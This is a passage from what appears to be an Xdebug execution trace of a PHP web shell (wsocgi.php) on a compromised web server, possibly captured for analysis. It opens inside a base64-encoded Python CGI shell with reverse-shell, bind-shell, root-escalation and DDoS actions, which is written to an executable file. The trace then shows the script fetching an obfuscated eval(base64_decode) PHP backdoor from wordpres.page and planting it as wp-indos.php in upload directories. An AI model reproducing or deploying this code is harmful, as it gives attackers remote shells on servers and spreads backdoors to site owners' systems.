ZmlsZW5vKCksIDIpCiAgICAgICAgICAgICAgICBvcy5zeXN0ZW0oJy9iaW4vYmFzaCAtaScpCiAgICAgICAgICAgICAgICBzb2NrLnNodXRkb3duKDIpCiAgICBlbGlmIF9SRVFVRVNUWydwMSddID09ICJjYyI6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBzb2NrLmNvbm5lY3QoIChfUkVRVUVTVFsncDInXSwgaW50KF9SRVFVRVNUWydwMyddKSkgKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcHJpbnQgImVycm9yIgogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50ICJkb25lIgogICAgICAgICAgICB0cnk6IG9zLnNldHJldWlkKDAsMCkKICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgICAgIHVuYW1lID0gY29tbWFuZHMuZ2V0b3V0cHV0KCJ1bmFtZSAtYSIpCiAgICAgICAgICAgIGlkID0gY29tbWFuZHMuZ2V0b3V0cHV0KCJpZCIpCiAgICAgICAgICAgIHBpZCwgY2hpbGRQcm9jZXNzID0gcHR5LmZvcmsoKSAKICAgICAgICAgICAgaWYgcGlkID09IDA6CiAgICAgICAgICAgICAgICBzb2NrLnNlbmQoYXNjaWkpCiAgICAgICAgICAgICAgICBzb2NrLnNlbmQodW5hbWUrIlxyXG4iK2lkKyJcclxuIikKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiSElTVEZJTEUiLCIvZGV2L251bGwiKQogICAgICAgICAgICAgICAgb3MucHV0ZW52KCJIT01FIixvcy5nZXRjd2QoKSkKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiUEFUSCIsJy91c3IvbG9jYWwvc2JpbjovdXNyL3NiaW46L3NiaW46Jytvcy5nZXRlbnYoJ1BBVEgnKSkKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiVEVSTSIsJ2xpbnV4JykKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiUFMxIixjb2xvcisnJydcdUBcaDpcd1wkICcnJytyZXNldCkKICAgICAgICAgICAgICAgIHB0eS5zcGF3bigiL2Jpbi9iYXNoIikKICAgICAgICAgICAgICAgIHNvY2suc2VuZCgiXHJcbiIpCiAgICAgICAgICAgICAgICBzb2NrLnNodXRkb3duKDEpCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICBiID0gc29jay5tYWtlZmlsZShvcy5PX1JET05MWXxvcy5PX05PTkJMT0NLKSAKICAgICAgICAgICAgICAgIGMgPSBvcy5mZG9wZW4oY2hpbGRQcm9jZXNzLCdyKycpIAogICAgICAgICAgICAgICAgeSA9IHtiOmMsYzpifQogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHdoaWxlIFRydWU6CiAgICAgICAgICAgICAgICAgICAgICAgIGZvciBuIGluIHNlbGVjdC5zZWxlY3QoW2IsY10sW10sW10pWzBdOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHogPSBvcy5yZWFkKG4uZmlsZW5vKCksNDA5NikKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHlbbl0ud3JpdGUoeikgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB5W25dLmZsdXNoKCkgCiAgICAgICAgICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICAgICAgICAgIAogICAgcHJpbnQgIiIiPGgxPk5ldHdvcmsgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KICAgIDxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9ImcobnVsbCxudWxsLCdicCcsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij4KCTxzcGFuPkJpbmQgcG9ydCB0byAvYmluL3NoPC9zcGFuPjxici8+CglQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzIwNDgnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPgoJPC9mb3JtPgo8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PSJnKG51bGwsbnVsbCwnYmMnLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+Cgk8c3Bhbj5CYWNrLWNvbm5lY3Qgc2hlbGw6IDwvc3Bhbj48YnIvPgoJU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIiIiK29zLmVudmlyb25bJ1JFTU9URV9BRERSJ10rIiIiJz4gUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSc0NDMnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPgoJPC9mb3JtPgoJPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsJ2NjJyx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTsiPgoJPHNwYW4+Q2hpcHB5MTMzNyBlbmhhbmNlZCBiYWNrLWNvbm5lY3Qgc2hlbGwgKHJlcXVpcmVzIHNvY2F0KTogPC9zcGFuPjxici8+CglTZXJ2ZXI6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzZXJ2ZXInIHZhbHVlPSciIiIrb3MuZW52aXJvblsnUkVNT1RFX0FERFInXSsiIiInPiBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzQ0Myc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+Cgk8L2Zvcm0+PGJyPjwvZGl2PiIiIgogICAgcHJpbnRGb290ZXIoKQoKdHJ5OgogICAgewogICAgICAgICdmaWxlcycgOiBhY3Rpb25GaWxlcywKICAgICAgICAnZmlsZVRvb2xzJyA6IGFjdGlvbkZpbGVUb29scywKICAgICAgICAnY29uc29sZScgOiBhY3Rpb25Db25zb2xlLAogICAgICAgICdweXRob24nIDogYWN0aW9uUHl0aG9uLAogICAgICAgICduZXR3b3JrJyA6IGFjdGlvbk5ldHdvcmssCiAgICAgICAgJ3NxbCcgOiBhY3Rpb25TUUwsCiAgICAgICAgJ2Rkb3MnIDogYWN0aW9uRERPUwogICAgfVtfUkVRVUVTVFsnYSddXSgpCmV4Y2VwdCBLZXlFcnJvcjoKICAgIHByaW50SGVhZGVyKCkKICAgIHByaW50Rm9vdGVyKCkK\'; $file = fopen("dark0.xx" ,"w+"); $write = fwrite ($file ,base64_decode($pythonp)); fclose($file); chmod("dark0.xx",0755); echo \'<center><p>Sucessfully</p><a href=dark0cgi/dark0.xx target="_blank">Pass r00t</a></center>\'; }  '	/var/www/html/uploads/wsocgi.php(4) : eval()'d code	1	0
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	2	$document_root = '/var/www/html'
4	20	0	0.007023	544408	dirname	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	3	1	'/var/www/html/uploads/wsocgi.php(4) : eval()\'d code(1) : eval()\'d code'
4	20	1	0.007040	544536
4	20	R			'/var/www/html/uploads'
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	3	$document_root_file = '/var/www/html/uploads'
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	4	$wp_detect = 0
4	21	0	0.007082	544560	file_exists	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	5	1	'/var/www/html/wp-load.php'
4	21	1	0.007106	544600
4	21	R			FALSE
4	22	0	0.007122	544504	explode	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	11	2	'/'	'/var/www/html/uploads'
4	22	1	0.007138	545080
4	22	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	11	$prefix = 5
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	12	$a = ''
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	13	$i = 0
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	15	$a = '../'
4	23	0	0.007205	544568	file_exists	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	16	1	'/var/www/html/uploads/../wp-load.php'
4	23	1	0.007224	544608
4	23	R			FALSE
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	13	$i++
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	15	$a = '../../'
4	24	0	0.007260	544600	file_exists	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	16	1	'/var/www/html/uploads/../../wp-load.php'
4	24	1	0.007278	544640
4	24	R			FALSE
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	13	$i++
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	15	$a = '../../../'
4	25	0	0.007313	544624	file_exists	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	16	1	'/var/www/html/uploads/../../../wp-load.php'
4	25	1	0.007330	544664
4	25	R			FALSE
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	13	$i++
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	15	$a = '../../../../'
4	26	0	0.007364	544624	file_exists	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	16	1	'/var/www/html/uploads/../../../../wp-load.php'
4	26	1	0.007381	544664
4	26	R			FALSE
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	13	$i++
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	15	$a = '../../../../../'
4	27	0	0.007414	544624	file_exists	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	16	1	'/var/www/html/uploads/../../../../../wp-load.php'
4	27	1	0.007431	544664
4	27	R			FALSE
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	13	$i++
4	28	0	0.007455	544544	http_get	1		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	63	1	'#'
5	29	0	0.007469	544544	curl_init	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	108	1	'#'
5	29	1	0.007493	545488
5	29	R			resource(3) of type (curl)
4		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	108	$im = resource(3) of type (curl)
5	30	0	0.007521	545456	curl_setopt	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	109	3	resource(3) of type (curl)	19913	1
5	30	1	0.007538	545552
5	30	R			TRUE
5	31	0	0.007551	545456	curl_setopt	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	110	3	resource(3) of type (curl)	78	10
5	31	1	0.007567	545552
5	31	R			TRUE
5	32	0	0.007580	545456	curl_setopt	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	111	3	resource(3) of type (curl)	52	1
5	32	1	0.007595	545552
5	32	R			TRUE
5	33	0	0.007608	545456	curl_setopt	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	112	3	resource(3) of type (curl)	42	0
5	33	1	0.007622	545552
5	33	R			TRUE
5	34	0	0.007635	545456	curl_exec	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	113	1	resource(3) of type (curl)
5	34	1	0.007688	545488
5	34	R			FALSE
4	28	1	0.007718	544544
4	28	R			FALSE
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	63	$code = FALSE
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	64	$wp_code = '/var/www/html/#'
4	35	0	0.007757	544584	fopen	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	65	2	'/var/www/html/#'	'w'
4	35	1	0.007795	545224
4	35	R			resource(5) of type (stream)
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	65	$open_code = resource(5) of type (stream)
4	36	0	0.007826	545152	fwrite	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	66	2	resource(5) of type (stream)	FALSE
4	36	1	0.007842	545216
4	36	R			0
4	37	0	0.007855	545152	fclose	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	67	1	resource(5) of type (stream)
4	37	1	0.007871	544752
4	37	R			TRUE
4	38	0	0.007884	544720	http_get	1		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	71	1	''
5	39	0	0.007898	544720	curl_init	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	108	1	''
5	39	1	0.007920	545664
5	39	R			resource(6) of type (curl)
4		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	108	$im = resource(6) of type (curl)
5	40	0	0.007948	545632	curl_setopt	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	109	3	resource(6) of type (curl)	19913	1
5	40	1	0.007964	545728
5	40	R			TRUE
5	41	0	0.007977	545632	curl_setopt	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	110	3	resource(6) of type (curl)	78	10
5	41	1	0.007993	545728
5	41	R			TRUE
5	42	0	0.008006	545632	curl_setopt	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	111	3	resource(6) of type (curl)	52	1
5	42	1	0.008021	545728
5	42	R			TRUE
5	43	0	0.008033	545632	curl_setopt	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	112	3	resource(6) of type (curl)	42	0
5	43	1	0.008047	545728
5	43	R			TRUE
5	44	0	0.008059	545632	curl_exec	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	113	1	resource(6) of type (curl)
5	44	1	0.008094	545664
5	44	R			FALSE
4	38	1	0.008120	544720
4	38	R			FALSE
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	71	$makale = FALSE
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	72	$wp_makale = '/var/www/html/'
4	45	0	0.008178	544760	fopen	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	73	2	'/var/www/html/'	'w'
4	45	1	0.008223	544832
4	45	R			FALSE
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	73	$open_makale = FALSE
4	46	0	0.008250	544760	fwrite	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	74	2	FALSE	FALSE
4	46	1	0.008271	544824
4	46	R			FALSE
4	47	0	0.008284	544760	fclose	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	75	1	FALSE
4	47	1	0.008303	544792
4	47	R			FALSE
4	48	0	0.008317	544760	expandDirectories	1		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	80	1	'/var/www/html'
4		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	95	$directories = []
5	49	0	0.008343	544760	scandir	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	96	1	'/var/www/html'
5	49	1	0.008375	545296
5	49	R			[0 => '#', 1 => '.', 2 => '..', 3 => 'uploads']
4		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/#'
5	50	0	0.008408	545304	is_dir	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/#'
5	50	1	0.008425	545360
5	50	R			FALSE
4		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/uploads'
5	51	0	0.008451	545328	is_dir	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/uploads'
5	51	1	0.008467	545376
5	51	R			TRUE
4		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	100	$directories[] = '/var/www/html/uploads'
5	52	0	0.008493	545712	expandDirectories	1		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	101	1	'/var/www/html/uploads'
5		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	95	$directories = []
6	53	0	0.008533	545712	scandir	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	96	1	'/var/www/html/uploads'
6	53	1	0.008562	546336
6	53	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'wsocgi.php']
5		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/uploads/.htaccess'
6	54	0	0.008597	546360	is_dir	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/uploads/.htaccess'
6	54	1	0.008614	546408
6	54	R			FALSE
5		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/uploads/data'
6	55	0	0.008639	546368	is_dir	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/uploads/data'
6	55	1	0.008655	546408
6	55	R			TRUE
5		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	100	$directories[] = '/var/www/html/uploads/data'
6	56	0	0.008680	546744	expandDirectories	1		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	101	1	'/var/www/html/uploads/data'
6		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	95	$directories = []
7	57	0	0.008708	546744	scandir	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	96	1	'/var/www/html/uploads/data'
7	57	1	0.008733	547272
7	57	R			[0 => '.', 1 => '..', 2 => 'trace-1676255397.7289.xt.gz']
6		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/uploads/data/trace-1676255397.7289.xt.gz'
7	58	0	0.008783	547320	is_dir	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/uploads/data/trace-1676255397.7289.xt.gz'
7	58	1	0.008802	547384
7	58	R			FALSE
6	56	1	0.008816	546768
6	56	R			[]
6	59	0	0.008828	546768	array_merge	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	101	2	[0 => '/var/www/html/uploads/data']	[]
6	59	1	0.008844	547208
6	59	R			[0 => '/var/www/html/uploads/data']
5		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	101	$directories = [0 => '/var/www/html/uploads/data']
5		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/uploads/prepend.php'
6	60	0	0.008885	546832	is_dir	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/uploads/prepend.php'
6	60	1	0.008901	546856
6	60	R			FALSE
5		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/uploads/wsocgi.php'
6	61	0	0.008926	546816	is_dir	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/uploads/wsocgi.php'
6	61	1	0.008940	546856
6	61	R			FALSE
5	52	1	0.008954	546160
5	52	R			[0 => '/var/www/html/uploads/data']
5	62	0	0.008969	546160	array_merge	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	101	2	[0 => '/var/www/html/uploads']	[0 => '/var/www/html/uploads/data']
5	62	1	0.008985	546600
5	62	R			[0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data']
4		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	101	$directories = [0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data']
4	48	1	0.009016	545280
4	48	R			[0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data']
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	80	$directories = [0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data']
4	63	0	0.009046	545280	http_get	1		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	81	1	'https://wordpres.page/txt/lamer.txt'
5	64	0	0.009061	545280	curl_init	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	108	1	'https://wordpres.page/txt/lamer.txt'
5	64	1	0.009077	546224
5	64	R			resource(10) of type (curl)
4		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	108	$im = resource(10) of type (curl)
5	65	0	0.009106	546192	curl_setopt	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	109	3	resource(10) of type (curl)	19913	1
5	65	1	0.009122	546288
5	65	R			TRUE
5	66	0	0.009135	546192	curl_setopt	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	110	3	resource(10) of type (curl)	78	10
5	66	1	0.009189	546288
5	66	R			TRUE
5	67	0	0.009204	546192	curl_setopt	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	111	3	resource(10) of type (curl)	52	1
5	67	1	0.009219	546288
5	67	R			TRUE
5	68	0	0.009232	546192	curl_setopt	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	112	3	resource(10) of type (curl)	42	0
5	68	1	0.009247	546288
5	68	R			TRUE
5	69	0	0.009259	546192	curl_exec	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	113	1	resource(10) of type (curl)
5	69	1	0.383175	595376
5	69	R			'<?php eval(base64_decode(\'CiBnb3RvIFA0d0pNOyBBaTgxMDogJHgwelJ5ID0gJHVENjRfQ29tKCR1RDY0X0MwbSgkdUQ2NF9jMG0oIlwxMjVcMTE1XDE3MVx4NDFceDRhXHgzN1x4NWFceDJiXHg1Mlx4MzhcMTEwXDU3XHg0OFx4NGZceDcxXHg0MVx4NzlcMTIzXDE0M1x4NGNcMTAzXDEyNlx4NjZcMTEyXHg3NlwxMDNceDU2XHg0YVx4NmNceDUwXHg2OFx4NGZceDYxXDEwNlw2M1x4NmVceDQ0XHg2NFwxMzFcMTQ3XHg2Zlx4NzFceDUyXHg1MFwxNDFcNTdcNjZceDRkXDU3XHg3NVx4NzFcNjZcMTYyXDExMlwxNzJceDc5XHg0N1wxNzJceDZmXDE3Mlx4NjFceDQxXHgyYlx4NTdceDQ4XHg3NlwxNzBceDY2XHgzMVwxMzJceDMwXDYzXHg2OVx4NmZceDMxXDE1Mlx4NTNce'
4	63	1	0.384097	594432
4	63	R			'<?php eval(base64_decode(\'CiBnb3RvIFA0d0pNOyBBaTgxMDogJHgwelJ5ID0gJHVENjRfQ29tKCR1RDY0X0MwbSgkdUQ2NF9jMG0oIlwxMjVcMTE1XDE3MVx4NDFceDRhXHgzN1x4NWFceDJiXHg1Mlx4MzhcMTEwXDU3XHg0OFx4NGZceDcxXHg0MVx4NzlcMTIzXDE0M1x4NGNcMTAzXDEyNlx4NjZcMTEyXHg3NlwxMDNceDU2XHg0YVx4NmNceDUwXHg2OFx4NGZceDYxXDEwNlw2M1x4NmVceDQ0XHg2NFwxMzFcMTQ3XHg2Zlx4NzFceDUyXHg1MFwxNDFcNTdcNjZceDRkXDU3XHg3NVx4NzFcNjZcMTYyXDExMlwxNzJceDc5XHg0N1wxNzJceDZmXDE3Mlx4NjFceDQxXHgyYlx4NTdceDQ4XHg3NlwxNzBceDY2XHgzMVwxMzJceDMwXDYzXHg2OVx4NmZceDMxXDE1Mlx4NTNce'
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	81	$css = '<?php eval(base64_decode(\'CiBnb3RvIFA0d0pNOyBBaTgxMDogJHgwelJ5ID0gJHVENjRfQ29tKCR1RDY0X0MwbSgkdUQ2NF9jMG0oIlwxMjVcMTE1XDE3MVx4NDFceDRhXHgzN1x4NWFceDJiXHg1Mlx4MzhcMTEwXDU3XHg0OFx4NGZceDcxXHg0MVx4NzlcMTIzXDE0M1x4NGNcMTAzXDEyNlx4NjZcMTEyXHg3NlwxMDNceDU2XHg0YVx4NmNceDUwXHg2OFx4NGZceDYxXDEwNlw2M1x4NmVceDQ0XHg2NFwxMzFcMTQ3XHg2Zlx4NzFceDUyXHg1MFwxNDFcNTdcNjZceDRkXDU3XHg3NVx4NzFcNjZcMTYyXDExMlwxNzJceDc5XHg0N1wxNzJceDZmXDE3Mlx4NjFceDQxXHgyYlx4NTdceDQ4XHg3NlwxNzBceDY2XHgzMVwxMzJceDMwXDYzXHg2OVx4NmZceDMxXDE1Mlx4NTNce'
4	70	0	0.384278	594432	preg_match	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	84	2	'#wp-content#'	'/var/www/html/uploads'
4	70	1	0.384485	594496
4	70	R			0
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	86	$css_file = '/var/www/html/uploads/wp-indos.php'
4	71	0	0.384517	594496	fopen	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	87	2	'/var/www/html/uploads/wp-indos.php'	'w'
4	71	1	0.384574	595048
4	71	R			resource(11) of type (stream)
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	87	$open_css = resource(11) of type (stream)
4	72	0	0.384605	594976	fwrite	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	88	2	resource(11) of type (stream)	'<?php eval(base64_decode(\'CiBnb3RvIFA0d0pNOyBBaTgxMDogJHgwelJ5ID0gJHVENjRfQ29tKCR1RDY0X0MwbSgkdUQ2NF9jMG0oIlwxMjVcMTE1XDE3MVx4NDFceDRhXHgzN1x4NWFceDJiXHg1Mlx4MzhcMTEwXDU3XHg0OFx4NGZceDcxXHg0MVx4NzlcMTIzXDE0M1x4NGNcMTAzXDEyNlx4NjZcMTEyXHg3NlwxMDNceDU2XHg0YVx4NmNceDUwXHg2OFx4NGZceDYxXDEwNlw2M1x4NmVceDQ0XHg2NFwxMzFcMTQ3XHg2Zlx4NzFceDUyXHg1MFwxNDFcNTdcNjZceDRkXDU3XHg3NVx4NzFcNjZcMTYyXDExMlwxNzJceDc5XHg0N1wxNzJceDZmXDE3Mlx4NjFceDQxXHgyYlx4NTdceDQ4XHg3NlwxNzBceDY2XHgzMVwxMzJceDMwXDYzXHg2OVx4NmZceDMxXDE1Mlx4NTNce'
4	72	1	0.384703	595040
4	72	R			47731
4	73	0	0.384719	594976	fclose	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	89	1	resource(11) of type (stream)
4	73	1	0.384736	594552
4	73	R			TRUE
4	74	0	0.384750	594520	preg_match	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	84	2	'#wp-content#'	'/var/www/html/uploads/data'
4	74	1	0.384766	594584
4	74	R			0
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	86	$css_file = '/var/www/html/uploads/data/wp-indos.php'
4	75	0	0.384792	594520	fopen	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	87	2	'/var/www/html/uploads/data/wp-indos.php'	'w'
4	75	1	0.384826	595072
4	75	R			resource(12) of type (stream)
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	87	$open_css = resource(12) of type (stream)
4	76	0	0.384857	594976	fwrite	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	88	2	resource(12) of type (stream)	'<?php eval(base64_decode(\'CiBnb3RvIFA0d0pNOyBBaTgxMDogJHgwelJ5ID0gJHVENjRfQ29tKCR1RDY0X0MwbSgkdUQ2NF9jMG0oIlwxMjVcMTE1XDE3MVx4NDFceDRhXHgzN1x4NWFceDJiXHg1Mlx4MzhcMTEwXDU3XHg0OFx4NGZceDcxXHg0MVx4NzlcMTIzXDE0M1x4NGNcMTAzXDEyNlx4NjZcMTEyXHg3NlwxMDNceDU2XHg0YVx4NmNceDUwXHg2OFx4NGZceDYxXDEwNlw2M1x4NmVceDQ0XHg2NFwxMzFcMTQ3XHg2Zlx4NzFceDUyXHg1MFwxNDFcNTdcNjZceDRkXDU3XHg3NVx4NzFcNjZcMTYyXDExMlwxNzJceDc5XHg0N1wxNzJceDZmXDE3Mlx4NjFceDQxXHgyYlx4NTdceDQ4XHg3NlwxNzBceDY2XHgzMVwxMzJceDMwXDYzXHg2OVx4NmZceDMxXDE1Mlx4NTNce'
4	76	1	0.384950	595040
4	76	R			47731
4	77	0	0.384964	594976	fclose	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	89	1	resource(12) of type (stream)
4	77	1	0.384981	594552
4	77	R			TRUE
